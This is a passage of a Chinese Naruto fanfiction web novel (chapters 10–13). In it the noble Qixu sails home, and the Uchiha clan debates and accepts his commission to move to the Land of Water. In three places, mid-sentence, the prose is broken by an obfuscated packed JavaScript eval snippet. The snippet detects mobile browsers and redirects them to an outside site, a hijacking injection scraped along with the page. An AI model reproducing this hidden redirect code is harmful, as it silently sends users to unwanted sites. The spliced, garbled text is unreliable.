族内高层光是商议这件事就已经吓晕了两名长老。毕竟水无月绫从小到大做过的惊天动地的事情太多了。 接委托还打断雇主腿的事情也不是一次两次,要不是跟着的人机灵,及时把雇主噶了,不然水无月一族在水之国内都接不到什么委托。 干他们这一行的最忌讳跟雇主动手,委托接了就算是没完成也不能跟雇主动手,不然名声一坏就只能喝西北风。 水无月独雄不是单纯来叙旧的,而是想打听一下七旭公子的脾性,但好像也没什么好打听的,除非水无月一族直接迁出水之国,不然有水无月绫在,他们除了服从之外就真的只能喝西北风。 对方肯定会让他们在水之国内混不下去。 想到这里,水无月独雄脸色灰暗,如丧考妣。 10.第 10 章 太大声了,想当做听不见都不行。 船上地位最尊贵的某位公子,阴森森的侧目让侧对着他的水无月独雄冷汗直冒,他哑着嗓子用气音结结巴巴的说:“绫,他是不是在看你。” 水无月绫斜睨了他一眼,好似在说他大惊小怪,下一秒却是拉着水无月独雄的手快步走到七旭面前,恭恭敬敬的朝着他弯腰行礼,手都没舍得松开。 顶着张白惨惨脸蛋的水无月独雄,恨不得将水无月绫的手给剁了,不然把自己的剁了也行。 明明看起来是个瘦弱娇贵的公子,盯人的时候眼神怎么就那么可怖呢?比让他面对千百个敌人的杀气还要难熬,头皮都像是要炸开一样。 “找属下是有什么事么,主公?”水无月绫低眉顺眼的,全身上下大写的一个服从。 七旭早就习惯她的性子,在自己面前装得很乖,五十米、不,离个十五米开外她就敢说自己小话,他随手将钓鱼竿递给她:“你来。” 半个小时后,满当当溢出来的木桶,一条新钓上来的二十斤大鱼因为装不下掉在甲板上,鱼尾巴甩啊甩的,不停地拍打七旭的鞋面。 这还是七旭让忍者中止打窝后,水无月绫取得的战绩。木桶里那可怜兮兮的战利品已经沉底,连根水草的尖尖都见不到。 水无月绫看了眼自家主公已经湿了的鞋面,随手几枚冰针将那条大逆不道的鱼钉死在甲板上,却又将新钓上来的一只海龟压在水桶上方。 她用挑不出丝毫错处的神态语气说:“当年落魄的时候,也曾经靠着钓鱼为生。” “哦,那你卖出去了么?”七旭语气平直的说。 “翻来覆去讲价太麻烦,就都吃了。” “呵呵。” 七旭嘴角一扬,水无月绫反手就将木桶拎起来倒进大海。 七旭冷冷的说:“这些东西是要给厨房加餐的。” 她指着船后方的海面,突兀的一块凹状的冰面,里面躺着的是她刚才倒进去的鱼龟。 七旭:…… 别说是水无月独雄,周围侧目过来的人看着水无月绫的眼神都像是在看什么勇士。 前几天还立下豪言要和水无月绫争夺主公旗下一号狗腿家忍之位的照美带茂,发顶竖立起来的呆毛就这么顺滑的弯下来。 跟七旭有一段时间的家忍都这样了,更别说其他人。便是被雇佣来的忍者们也都知道贵族不是什么好相与的,像这位公子的权势地位,他不发作还好,一发作便是对水无月绫喊打喊骂都无人敢出头说句好话。 但水无月绫却是丁点不怕一样,疯狂的试探对方的底线,堪称是一块滚刀肉。 七旭倒是没生气,仅是翻了个白眼,视线落在水无月独雄身上,却是和水无月绫说话:“你情郎?” 水无月绫摇头:“他脑子不灵光,不利于后代,顶多算是玩玩。” 水无月独雄惊恐的瞪大双眼,看着这位前族长之女的眼神满是被污蔑的控诉,双腿下意识的往后退了一步,被水无月绫用力的扯了回来之后,满怀绝望的投入对方的怀抱,撞得额角通红。 ——是什么样的人会在胸口装铁皮啊!铁皮就算了,上面还有凸粒! 七旭点着头,肃然道:“你这顾虑很正确,他有兄弟姐妹吗?” “一姐一弟,姐姐结婚了,有没有孩子不清楚。”她离家出走前还参加了对方的婚礼。 七旭:“质量不够数量来凑,让他姐离婚,他们三个加孩子都给你了。” 水无月绫眼睛发亮:“这个可以,都是美人我不亏。” “不行!”水无月独雄顾不上对雇主的恭敬,屈辱喊道,“就算您是公子也没有这样乱来的!”他只是接了委托,又不是来卖身!还是卖全家! 水无月绫沉吟半秒:“那加上你姐夫?” “就没有不行的选项吗?!”受害者怎么增加了! 水无月绫叹气说:“主公,我当初没说错吧,我那族里就没一个开得起玩笑的,无趣得很。” 水无月独雄一口气差点没上来,在族人赶过来救场之前悲愤道:“这算是玩笑嘛?你为什么总是这样!前族长的时候——” 他话没说完就先咬了下舌尖,好歹是家族秘辛,就算水无月绫离家出走了这种事也不能往外说,对谁都没什么好处。 水无月绫按着他的后脑勺,在胸口上摩擦,无视对方的惨叫,低声道:“这不能怪我,老头子知道我救了你们这群笨蛋,到了地下也只有朝我跪地谢恩的份。” “哈?”水无月独雄一口气差点没上来。 但水无月绫提到的‘救’字,又让他心里泛起嘀咕。水无月绫虽然不着调了亿点点,在族里的时候就有着随时带累全族人喝西北风的危机,可也有个最大的优点——不屑于说谎。 做了就坦率承认,光明磊落得很,从小是同辈人的领头羊,不然也不至于在她亵渎前族长尸体之前,还是板上钉钉的少族长。 甚至就连她离家出走后,族内都有人为她说话,怀疑她身负苦衷。 当然,这不影响大家在知道她要回来当族长带着全族投靠七旭公子时,吓得花容失色。 他们几度担心对方不是拉着家族去投靠未来的水之世子,而是要来一波大的,比如取而代之什么的。换别人是做不了这种事,但换水无月绫还真说不准。 这方面的她就是这么权威。 水无月绫可惜的扫过在场那些或是看过来或者侧耳偷听的人,小声用只有他们三人才能听见的声音说:“可惜这里人太多了,都灭口太难了。主公,您还要多努力啊。” 七旭瞥了她一眼,嫌弃的一巴掌推开。 水无月独雄顾不上追问内情,内心是一片苍茫的麻木。 已知前少族长从小就不省心,出来几年之后更不省心。 你是让这位公子努力什么?努力到能把这么多人灭口的程度吗?他是真的很担心对方成为族长之后,把整个家族带进坑里啊! 船上的生活确实很无聊,这时代的造船技术太落后,稍微有点风浪就摇来晃去,再好的心情也被败坏。 藤门太明为首的官员七旭一个都不想见,被他塞到另一艘船里。 一路上没有刺客也没有什么像样娱乐,那些官员倒是有带了歌姬上来,可那些舞蹈和戏曲都不合他的审美,看那些人跳舞唱歌都恨不得在他们身上安个加速器。 吃食这块虽然食材丰富,但也比不上现代那些动辄改良过无数次的蔬菜瓜果肉类,厨师的水平再高也无法掩盖这一点。 他对水无月绫怎么调教自己的族人不关心,他只是看着前方,静数抵达水之国的倒计时。 …… 火之国的宇智波一族,近期对某些事倒是上心得很。 火之国高层最近动作太大了,而这股火不仅烧在火之国,离得比较近的国家也是人心惶惶,至于远的国家还没被波及,不过是受限于现今的情报传递效率。 宇智波的议政堂里,斑坐在仅次于父亲的位置上,抱着双手一脸肃穆的听着父亲和长老们的交谈,下方代表各个小家庭出席的族人们也在窃窃私语的议论着。 虽然那些族人有意降低音量,但还是被斑听到了少许,该怎么说呢,兴奋大过于对委托量减少的担忧。 “公子们带头挖自家的祖坟,这种事还是第一次听闻。” “知道贵族们荒唐,没想到还能这么荒谬。” “反正他们只祸害自己,跟我们没什么关系,就是委托少太多了。” 是的,委托量已经不能用单纯减少来形容,而是一泻千里。 作为忍界知名的豪族,宇智波接的委托自然经过筛选,简单来说就是要价不低,他们的雇主一般也是贵族或者巨商,乃至于一国大名。 不管是国战、暗杀各国重要人物又或者护送贵重用品,虽然危险性高但承载了家族九成以上的收入。 可谁能知道这么稳妥的客户渠道还能有翻车的一天。 各国高层乱了,商人们也各个缩着脖子停业停产,哪里还顾得上委托忍者来排忧解难。而这么大的丑闻,连带着雇佣忍者做护卫的委托量也大幅降低。 忍者同时也干着情报员的工作,估计是担心被忍者泄露了风声。只是这些贵族们想太多了,这事刚出来周围的忍族就已经听到了风声。 宇智波倒是不在意那些贵族们想隐瞒什么,反正又没钱赚。 “这种事很可能有忍者参与,那些贵族担心的应该是这个。”泉奈小声的和斑说道,“毕竟委托这种事,只要能进账忍者也不会拒绝。” 无声无息的偷了那么多坟,说没忍者参与都难。那些公子可没能耐自己带着手下去偷,极有可能是雇佣忍者去做。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870536|191081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 斑撇嘴,他才不关心是哪家忍者干了这事,事后会不会被贵族们群体愤然的针对,反正宇智波是没接过这种委托。他说:“委托量减少也不算什么坏事,反正等风声过了都一样。” 毕竟这个世界又不是围着死人转的。 忍者很习惯被挖坟这种事,因为对忍者来说,尸体也是宝贵的研究材料,很多忍者死了之后尸体都会失窃,很多家族的忍术就是因此外泄。 有些忍者能够读取尸体的记忆,又或者从尸体得知一些忍术的情报。 至于说委托减少不算坏事,理由也挺简单。 斑扫量过众人,心里想着:最近族里不会死人。 没有委托,那就没有伤害,至于少了进账会不会让家族难过?宇智波又不是什么过了今日就担心明日的小忍族,一年半载的没进账他们也能过得滋润。 就是再穷的人家,族里也会发下基本物资保障生存。 斑始终认为人活着才是最重要的,想到这一点,摸了摸弟弟的小脑壳。 “既然闲下来了,那最近就由我来给你特训吧。”他如此说道。 泉奈没意见,反而有些高兴。他是由父亲和兄长一手教导出来的,斑能闲下来多陪陪他,教导他,对于一心想要超越兄长的泉奈来说是件好事。 他嘴角勾了勾,又摆出一副小大人般的严肃面容,说:“我猜那些贵族封锁消息,也是为了自己获利。他们也动了心思。” 斑咂舌:“真的假的。” 泉奈:“口子一开就很难关闭,总有一些面子风光的贵族会动心思。就火之国为例,如果不是牵扯进去的公子太多,这事还闹不到这么大。” 牵扯进去的公子,即便是火之国世子都会失去储君之位,这个丑闻实在太大了,若是对方成为下一任大名,那贵族们人人自危。 但反过来想,大名们就不会动心吗?他们又不是嫌钱多。 反正最后会变成什么样,泉奈如斑一样并不关心。 不过田岛召开这次集会,倒不是单为了委托量大幅减少这件事。 在结束与长老们的讨论之后,他目光冷然的扫过在场的族人,室内的杂音一下子消失无踪。 “这次开集会,是有一件重要的事情需要全族共同决断。” 他的话引来众人的讶异,就连斑都疑惑的看向自己的父亲。 虽说宇智波很重视族人的意见,并非族长的一言堂,但涉及大事只需要族长和长老们作出决定,其他人也只会服从。 是什么样的事需要到让全族人一同来商议的程度? 田岛也没有卖关子,而是拿起面前桌案上的一份信件,上面并没有署名,他道:“这是水之国的七旭公子,让家忍亲自送来的委托。” 斑:? 他挖了挖耳朵,确认自己没有听错名字。 田岛:“他委托的是我们宇智波一族,全族,迁居水之国,并守护他的国家。” 他的话一出,斑就惊讶的道:“他的国家?水之国大名换人了?” “没有,按照时间他现在应该刚抵达水之国。”好歹是一国未来的世子,田岛自然知晓这位公子大致的情况。 想在战国时代生存,情报这块可是很重要的。 田岛表情有些微妙:“但听他的意思是,我们现在起身的话应该就能赶上了。”他猜测应该是水之国大名最近身体情况不佳,虽然没收到这类的情报,但大名生病这种事确实也算是一国机密,轻易查不到。 死了那么多儿子,同样作为父亲的田岛觉得对方会气急病重很正常。 估计那位公子是收到了消息,回去是去继承国家的。田岛不关心其中的原因,他只是疑惑那位公子怎么会雇佣一个忍族这种事。 接过各种各样的委托,被委托守护一个国家还是头一次。 只是…… 田岛:“他承诺给三万金的迁族安家费,会在国都附近批一块土地作为宇智波在委托期内的族地,不需要支付任何租金,委托期是他活着期间,而一年委托金是八十万金,定金十万,每年一月支付上一年的尾金和下一年的定金。” 如火之国这样的大国,一次国战的委托两万金已经是很高的价格,而且国战动辄要好几个月,八十万金…… 他给的实在太多了。多到让人怀疑他是不是打劫了国库。 11.第 11 章 本来这样的委托就足够让众人吃惊,在听到委托金额之后,不少人怀疑自己听错了,有的还揉了揉耳朵,或者歪着脑袋拍了拍。 斑就是其中一员,泉奈忧心的看着自家兄长的手,颇有一种冲上去抱住的冲动。 拍一下就行了,干嘛拍那么大力。 “咳咳。”田岛假意咳嗽两声,总算让众人尤其是斑的注意力放在他个人身上。 至于小儿子那松了口气的表情,他就假装没看见吧。 “所以我没听错?”斑瞪着大眼,不敢置信的道,“那小子该不会在给我们挖坑吗?” 不提之前被坑过的事,斑对于那些贵族本来就有很大意见,作为少族长,在待人接物和族务这块自然是被重点培养过的,倒不是他学不来,而是在接触多了之后每分每秒都在加深钱难赚屎难吃的感触。 宇智波生性本就高傲,做不来对贵族们低三下四的事,家族的委托中,之所以护卫个人的工作是最低占比也是这个原因。 不得不承认,保护那些达官贵人的委托金很高,也很容易得到额外的赏钱,又因为这些人身边护卫的人多,危险性相对不会太高。 但贵族是什么样的一种生物呢? 对所有接触过的宇智波来说就是——宁愿去战场卖命也不想面对这群糟心玩意儿。 倒不是说所有贵族都难缠,但难伺候是肯定的,而且给他们做护卫是一种事后需要心理疏导的工作,你永远也想不到那些玩意儿丧良心起来让他们多么耐不住拔刀。 而雇佣得起宇智波做护卫的富商也大多不会是什么好东西,所以思来想去,为了不因为‘弄死雇主降低口碑’,还是选择了危险性更大的工作。 至少不用和那群东西过多交流,敌人也是忍者的话更有益于身心健康。 刀砍向忍者不需要有什么心理负担,因为你不杀他,他们也不会放过你,大家都是吃这口饭的,老早就该做好觉悟。 但刀砍向无辜的手无缚鸡之力的平民,帮他们助纣为虐什么的,实在过不去心里那一关。 在这些人眼里,忍者都只是能呼来喝去的工具,就更不用提那些没什么身份地位的平民,类似于有贵族突发奇想抓住孕妇生剖婴孩取乐的事情也不是没发生过。 田岛平静的说:“虽说委托内容是守护水之国,但这位公子特别强调宇智波只允许听从他一人的命令,也就是说,更像是他的家忍。” 斑嘟哝着:“你也知道那小子多阴险,而且他哪里需要人保护?” 那样的人分分钟能把人耍着玩,保护招惹他的人还差不多。 田岛目不斜视:“我们家族也就是近些年才迁居到这里,相比起来水之国与其他国家隔着汪洋大海,没有正面冲突,像战争这类的事会大幅减少。” 水之国本就地理位置优越,而且早在百年前就已经吞并掉了周围所有国家,虽然没有闭关锁国,但战事相比起其他国家是最少的。 其他国家有开疆扩土的野心和防止被吞并的压力,水之国没有。 斑不甘于被无视,继续道:“那小子没脸没皮的,为了骗我甚至可以装成女人。” 而且还是装成花魁!还言之凿凿的要以身相许,演技好得把他都骗住了! 田岛不受影响的继续道:“这位公子今年十五岁,没传出过有什么虚弱的疾病,也没有什么荒唐丑闻,如果接了这个委托,我们家族也能休养生息好些年。” 连年的战争单子,族内确实死伤不少,他另外的三个孩子里,除了一个病逝早夭之外还有两个便是死在这期间。 而像他这样经历丧子女之痛的父母并不少,更别说族里还有大量单亲或者父母双亡只能被亲戚收养的孤儿。 堂下的族人们皆是动容,还有好些个忍不住的红了眼眶。 斑:“到底有没有听我说话,我——” 忍无可忍自然无需再忍,三番两次被当成空气,斑顿时就要站起来理论。 这时候,一名族人疑惑的道:“斑大人,您之前见过那位公子?” 田岛淡定从容的说:“嗯,见了,和对方打了一架,输了。” 斑:?! 起身的动作僵硬如石。 “这样啊。”那名族人虽然心有诧异,可看到斑面红耳赤的羞恼模样,颇为了然的说,“毕竟是公子,能赢过斑大人的人,脑子应该不错。” 有脑子才好啊。 另一名族人道:“那位公子确实在国内没什么助力,估计是想到这一点才会雇佣我们家族。有些意外,想想也不难理解。” “不过这委托金……确实是大方。” 一阵嘶嘶声响起。 斑愤懑的朝他们咬牙道:“你们几个意思?不是在说我吗?怎么不继续说了?” 为什么一个个对他输了这种事那么平静啊! 他,和一个养尊处优的公子打架,输了啊!!!就不好奇是怎么输的吗?! 虽然听闻那位公子之前活得跟透明人一样,但再透明的公子也在过着平民无法想象到的幸福生活,什么都不用做都能解决衣食住行,连忍者都得为了生存拼命呢。 所以说他养尊处优,毫无问题。 可是——为什么就只是提了一句就不提了啊! 其他人:……真提多了您又要不高兴。 “他不是还活着吗?”一名族人诚恳的说道,“您没当场把他打死,族长也没有派人刺杀,就说明这件事不严重。” 如果真的到不可调和,将对方得罪狠了的程度,那肯定会刺杀的。就是保险起见,考虑到对方有诸多护卫,派个觉醒万花筒的族人也足够了。 所以人家还活着,问题就不大,为什么还要纠结?对方不是还想雇佣他们家族吗? 至于输了的事,谁知道是怎么输的?打赌输了也算输啊。总不能是写轮眼全开之下的战斗输了吧?这话说出来也没人信。 那可是贵族,是一拳头下去都能头骨开裂的羸弱贵族。 斑张了张嘴,半晌憋出一句:“我怎么觉得你们挺想接这个委托的。”他看向田岛,“不要光说好处,万一那小子是给我们挖坑呢?” 可狡猾了!骗起人来眼都不眨气也不喘。他最不擅长的就是应付这种能把他骗住的外人了。 “……”田岛想了想,最后双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875369|191081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手一摊,“他给的太多了。而且保护的仅是一人,不用听从其他人命令,就是被坑也很有限。” 他重复了一遍:“他给的太多了。” 八十万金,一年。 实在难以拒绝。 况且会否被坑,也仅是斑一人认为。田岛对宇智波的实力很有自信,除了千手这个铁板之外,其他忍族就不足为惧。 就算是那位公子要坑害他们一族,即便是雇佣千手一族他们也不是没有还手之力,就更不用惧怕其他忍族了。 想坑害他们,也要有相应的力量才行,他们雇佣不到能把宇智波一族灭族的忍族。 “水之国的忍者……”一名长老嗤笑一声,“即便联合起来,也不堪一击。” 宇智波曾经定居在雷之国,是雷之国的忍者全无抵抗之力导致他们接不上什么大型委托,才会迁居到其他国家。放眼千年的家族历史,因为这种理由迁居他国的事在循环上演。 有储物卷轴在,把祖坟石碑带上,迁族罢了,经验丰富。 “所以你是不同意迁居水之国?”田岛问,“召开集会便是要询问大家的意见,我已经说了接的好处,你现在可以组织语言来说服我。” 他的语气还带着鼓励的成分。 斑,斑顶着所有人的视线,灰溜溜的坐了回去:“先说好,如果他再坑我的话,我不保证能忍住。” “哦。”岁枫长老缓缓的吐出一个名字,“泉、奈。” 泉奈没吭声,他知道岁枫长老不是在和自己说话。他只是同情的看着身体再次僵硬的兄长。 对于资深弟控来说,弟弟这个招牌确实很好用。斑翻来覆去抵制的理由就那么一两个,而这个委托的好处,他能想出来无数个。 ——他年幼的弟弟不用上战场。 即便是会有战事,以水之国的环境,也轮不到年方十岁的泉奈上战场。更甚至族内的孩子们,能获得更为宽松的生存环境。 八十万金确实太多了。 多到无法不去心动。 这个金额可比他们现在一年接到的委托金的总额还要高上太多太多。 仅需要听令一人,也就不用去看那些贵族们的脸色。就是那位公子要将战火烧遍整个水之国,宇智波也无惧。 “知道了。”最终,斑闷声道,“我尽量忍忍。” 岁枫长老看向田岛。 田岛道:“没事,有泉奈呢。” 斑如果不想面对七旭公子,那让泉奈来作为代言人是完全可行的。反正他还能活上好些年,总能够等到两兄弟独当一面撑起一个家族的时候。 只是…… 他悄然攥紧了拳头,青筋暴凸间,又缓缓的松开。 离开这里,与千手的距离就远了,不会与对方有频繁的正面战争冲突,同时也相当于……复仇的机会减少。 这不是容易下达的决定,所以才会召开集会。 他扫过在场族人们的脸,观察着他们的情绪变化,不甘者比比皆是,但没有人出言反对。 也是……失去亲朋好友是痛苦的,无法忘却的伤痛,但他们还活着,还要守护其他活着的亲人。 12.第 12 章 达成一致意见后,宇智波的行动力很快,每家每户都为了迁居行动起来。田岛带着斑在族地外围的招待室接见了来下达委托的两名家忍,在签订契约之后,对方很爽快的将放着十三万金的储物卷轴双手奉上。 和贵族们做的生意多了,斑也知道那群贵族是什么尿性,就算是谈好的价钱对方也不会轻易的给予,总要说一堆废话后才会拿出来。就算贵族不出面,他的随从也是同等的傲慢。 这么利落的还是头一次。 但能毫无波澜拿到钱自然是件好事,何况是这么大的一笔,上行下效,至少这算是开了个好头。 同意了委托,水之公子派来的家忍会和宇智波一族共同前往水之国,田岛说了启程时间,命人带他们下去休息,招待室的门关上后,回头就对上斑略微古怪的表情。 “听起来真大方,他是散财童子吧?”斑觉得很别扭,“我还是觉得里面没那么简单。” 田岛:“讨厌?” “……没什么好讨厌的,但也绝不算是喜欢。”斑一想到对方做过的事就很是不甘。 契约里规定被雇佣期间不能接收其他人乃至组织的任何委托,这就说明七旭公子将会是宇智波近几十年来唯一的雇主。 田岛很能理解斑的心情,把自己耍得团团转的人,是未来几十年避不开的大主顾,以斑的性格只是私底下抱怨几声已经算是很好了。 “不用勉强自己拿出毕恭毕敬的态度,我们并非是他的家忍,只要面上做到最基本的礼数,任务不出差错就行。”田岛扬唇笑道。“用行动展现出对方无法割舍的力量,可比面上卑躬屈膝要实用得多。” 雇主要的无非是钱不白花就行。 “起码契约里并没有写一些繁琐难为人的条例,就算是没有额外的赏金,这笔生意也是能做。”田岛说着,又转而道,“你觉得那两名家忍怎么样?” “怎么样?”斑没什么想法,“在我们面前就算是有什么意见也只能憋着吧。” 他对自己家族的名声可是门儿清,虽然外头有不少夸大的谣言,整体上也没大差。 田岛摇了摇头,道:“是他们的态度。不卑不亢的,不管是来委托还是收到我们这边确切的消息,他们都很平静。” 斑啧了一声:“是笃定我们一定会同意么?” 田岛:“虽然没有忍者能拒绝这么大的一笔钱,但我所指的并不是这个。”对上斑疑惑的视线,田岛继续道,“是底气。” 不是那种背靠大山而狐假虎威的狂妄,而是真心觉得他们同意了这份委托才是正常的,本应如此的底气。 让田岛好奇的是,这两人以前都是浪忍,为什么会对那位公子有那么大的自信。他又不是没见过大名身边的家忍,从小培养的家忍都没有这两位半路出家的浪忍有信心。 田岛思索着去水之国的路上不短,能利用相处时间旁敲侧击出一些情报最好。 斑倒是没想那么多,他的思绪跑过与他们有一河之隔的千手族地那边。 “我们这么多人迁徙,千手那边应该会发现。” 两边住得其实也不算近,但两家是仇敌,自从出了两边少族长偷摸摸交好几年无人发现的事情后,双边都加强了警戒,探子也从未停过。 一整族迁徙这么大的动作,就算藏得再好也会被察觉。 “不用管他们。”田岛倒是平静得多,“不趁着离开前送几发火遁已经算我们……等等。” 田岛用手摸了摸下巴,轻轻一笑:“是你提醒了我,斑。乖,去帮你弟弟打包东西吧。” 斑:??? 他不知道自己父亲想到什么歪主意,笑起来就给他一种阴恻恻的感觉。这个年纪被说乖其实让他挺不满的,可如果是帮泉奈收拾东西…… 斑立马起身:“差点忘了,泉奈一个人搞不定的。” 储物卷轴是很好用没错,连房子也能一块儿装进去,这类空间卷轴制作价格很高,但宇智波财大气粗并不缺。 只是房子可以装,不能保证里面的东西没保管好会不会摔碎或者弄得一团乱。所以东西得额外打包才行。 别看斑有时候让父亲挺无奈的,内务这方面却管理得很好,他没什么要收拾归类的东西,到时候直接塞储物卷轴就行。 可泉奈不一样…… 斑的脚步越来越快,等回到家,前脚还没迈过门槛,梁上就掉下来一个东西。他伸手接住,还没看清是什么就被泉奈一把抢过塞进兜里。 斑眨了眨眼,问:“你东西干嘛放那里去?屋里放不下吗?” 泉奈红着脸 ,支支吾吾的说:“顺手。” 斑没深究,而是撸起袖子道:“还有多少没收拾的,算了你肯定什么都没收拾好。” 没等泉奈阻止,他就快步到了弟弟房间,见到满屋子的凌乱,嘴角抽了一下。 不知道的还以为进了垃圾堆。 泉奈在他后方,怀里不知道何时抱了一堆东西,往地上一放擦了擦汗说道:“我的东西都找好了,接下来只要塞进卷轴就行了。” 说着就拿出一份空卷轴,就要结印的时候被斑阻止了。斑嘴唇动了动,欲言又止,干巴巴的说:“别把卷轴当成你的壁橱,当柜子也不行。” 泉奈:“有什么关系?就算是收整好了,到时候拿出来还是得重新找地方放。” 那还不如直接塞进去了事。 “话不能这么说……最起码吃的和用的不能塞一起。”斑放弃和弟弟解释其中的区别,已经开始给东西分门别类。 他和泉奈其实都有自己的房间,只是泉奈小还离不开哥哥,所以晚上会去他那里睡。泉奈的房间被他用来放自己的东西,偶尔斑会给他收拾,所以大致上他也分得清里面有什么。 哦,被泉奈后头拿来的,杂七杂八塞在家里各个角落的不算。 泉奈鼓了鼓腮帮子,不服气的嘟哝着:“我觉得都一样。” “这个发霉了。”斑将几样东西放在一边,这些是要丢掉的。“这破裤子是你三岁时用的吧,丢了丢了……” 专心规整了好一会儿,斑才记起还有个弟弟,扭头就看到对方面红耳赤的跪坐在榻榻米上,见他望过来之后,耷拉着小脸对上视线。 斑冷酷的说:“不许跪坐。” “哦。”泉奈乖巧的换成盘坐。 在看到准备丢掉的东西都能丢成一座小山之后,泉奈彻底放弃帮忙的想法,甚至自尊心有些受挫。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16909282|191081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >斑知道他在想什么,安慰道:“没事,等你长大了就会自动掌握整理内务的技能了。就算不会也没事,哥哥乐意给你收拾一辈子。” 泉奈:……没有被安慰到。 醉心训练和学习,顾不上这些事不是很正常的吗? 反正泉奈自己把自己安慰好了。 等斑将东西一一放进不同的箱子和袋子,塞进储物卷轴后,泉奈才说:“斑哥,等我们走了,族地要怎么办?” “什么怎么办?”斑不解,“走了这里就空了啊。”房子都被带走了,这里不就空了吗? “那千手他们应该会过来调查,不如我们留点好东西给他们?”泉奈一脸认真的说,“把这里弄成一片沼泽,拉个网插些竹刺,上面做点伪装,总能坑到几个。” 小规模的话骗不了那些人,但大规模的就不一样了。谁能想到这么大片的地方还能搞这样的陷阱。 而且这种事做起来也不算特别费劲。族里有些栅栏就是用削尖头的竹子扎起来的,纯当做废物利用了。 泉奈跃跃欲试,斑一脸沉默。 他说:“你想坑的是柱间的弟弟吧。”柱间的弟弟叫什么来着? 泉奈点头,双眼发亮:“反正这辈子再也见不到他了,那他早点死和晚点死不都一个样吗?相信我,他恨死我们一族了,到时候肯定会过来。就他那性子,就算我们什么都带走了也会掘地三尺看能不能找到点什么,多留点陷阱总能弄死他。” 弟弟想弄死千手,斑并不意外,毕竟两家是真的有大仇。唯独让他不解的是,柱间的弟弟和泉奈接触的机会也不多,到底是怎么把弟弟得罪死了。 怎么都要走了,还一心念着能不能把人家弄死? 斑看着才十岁大的弟弟,没觉得他孩子气,反而觉得是自己保护得好才保留了他的童心。他笑了笑,道:“行吧,那我和你一起弄。陷阱这块也是忍者的必修课,我也能顺道教教你。” 就当是给弟弟教学了。 柱间的弟弟会不会死他无所谓,反正泉奈开心就行。 两天过去,宇智波一族也准备好出发。动身的日子要比他们原先预定的要早一天,原本斑觉得族里总会有些人不想那么快走,却不想一眼扫过去,即便是平日里很是稳重的族人都藏不住眼中的喜色。 斑:…… 没有人会喜欢失去。 在仇恨和亲人面前,他的族人们向来选择果断。 出发时没发生什么突发的意外,宇智波的夜视能力都很不错,为了防止麻烦他们是选择夜晚动身。只是出发了不到一会儿,斑就听到一阵轻微的,不仔细听就听不见的动响。 他警惕的朝着发声方向看去,而他的父亲正好也在那个方向。看父亲在笑,斑疑惑的问:“这事和你有关?” 要不是父亲的安排,他不至于这么轻松。 “嗯。”田岛心情很好,“我让人把那条河改道,顺道把你和那小子以前常打水漂的那片地方给炸平了。以前留着是因为我们家族也会用到,现在都走了,就没必要了。哼哼,改道容易,改回来可没那么简单,够他们伤脑筋一段时间了。” 斑:哦。 他好像有点明白弟弟某方面是遗传了谁。 13.第 13 章 田岛很得意自己临走前给千手添堵,等办完事回来的族人汇报之后,他脸上的喜意再也无法克制。 族人:“千手在五公里内别想从那条河捞到哪怕一条鱼。”做都做了,多做一点也是顺手的事。 田岛赞赏的拍了拍她的肩膀,然后看向斑。 斑:…… 毕竟是自己的父亲,斑虽然嘴角抽搐个不停,还是干巴巴的说:“干得……好?” 田岛轻哼一声,说:“可惜了,若不是怕耽误行程,真想把他们族地给烧了。” 宇智波擅长火遁,以前也不是没干过烧房子的事,火之国的房子大多是木制,引一下风向要成片烧起来并不困难。 就算千手那边有不少擅长水遁的忍者,只要火烧得够旺,也够让他们伤脑筋。 一名长老可惜的说:“这几天都是阴天,空气湿润,如果气候干燥的话烧起来就特别快了。” 另一名族人很赞同:“以前是因为大家都在这片地方,对人家族地下手的话,防不住对方也有样学样,不然早就这么做了。” 但都要走了,是真想烧啊。 斑:= = 在发现所有族人都是一脸可惜之后,他决定不加入他们的话题。泉奈歪了歪头,他们正在赶路,所以是全速奔跑,他加快步伐落在离斑半步之遥的地方,在哥哥耳边小声说:“他们说笑的,斑哥别当真。” 斑:“真的?” 泉奈更小声的道:“当然是真的。给河流改个道倒是没什么,毕竟那条河离千手族地也不算近,但如果火攻的话,千手肯定不会善罢甘休,肯定是会发狂犬病。” 他们才没空停下来和千手打一架呢。 斑:那他们还讨论得有声有色,有毛病啊! 同行的阿幸和冥夫在他们的表现纳入眼中,冥夫小声的说:“和想象中的不太一样。” 虽然任务挺顺利的,但也没想到看起来那么高冷且十分排外的宇智波,私底下竟然是这么活泼的性子。 阿幸翻了个白眼:“都是人,不都一个样。” 是人就会有脾气,也有亲疏远近,和族人们说点开心的事打闹一下不是很正常? 宇智波和千手关系不好不是忍界共识吗? “主公不也差不多吗?好相处是一回事,正事上从未手软过。” 